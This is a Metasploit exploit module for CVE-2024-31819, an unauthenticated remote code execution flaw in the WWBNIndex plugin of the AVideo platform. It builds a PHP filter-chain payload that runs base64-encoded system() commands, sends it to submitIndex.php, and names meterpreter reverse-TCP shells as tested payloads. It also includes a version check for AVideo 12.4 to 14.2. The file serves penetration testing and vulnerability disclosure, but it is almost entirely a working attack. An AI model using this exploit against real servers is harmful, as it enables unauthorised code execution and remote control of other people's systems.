##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::PhpFilterChain
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the
`submitIndex.php` file, where user-supplied input is passed directly to the `require()`
function without proper sanitization. By exploiting this, an attacker can leverage the
PHP filter chaining technique to execute arbitrary PHP code on the server. This allows
for the execution of commands and control over the affected system. The exploit is
particularly dangerous because it does not require authentication, making it possible
for any remote attacker to exploit this vulnerability.
},
'Author' => [
'Valentin Lobstein'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-31819'],
['URL', 'https://github.com/WWBN/AVideo'],
['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']
],
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Privileged' => false,
'DisclosureDate' => '2024-04-09',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'FETCH_WRITABLE_DIR' => '/tmp'
}
)
)
end
def exploit
php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
filter_payload = generate_php_filter_payload(php_code)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "systemRootPath=#{filter_payload}"
)
print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'follow_redirect' => true
})
return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]
version = Rex::Version.new(version_match[1])
plugin_check = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
'method' => 'GET'
})
unless plugin_check&.code == 200
CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')
end
if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))
return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")
end
CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")
end
end
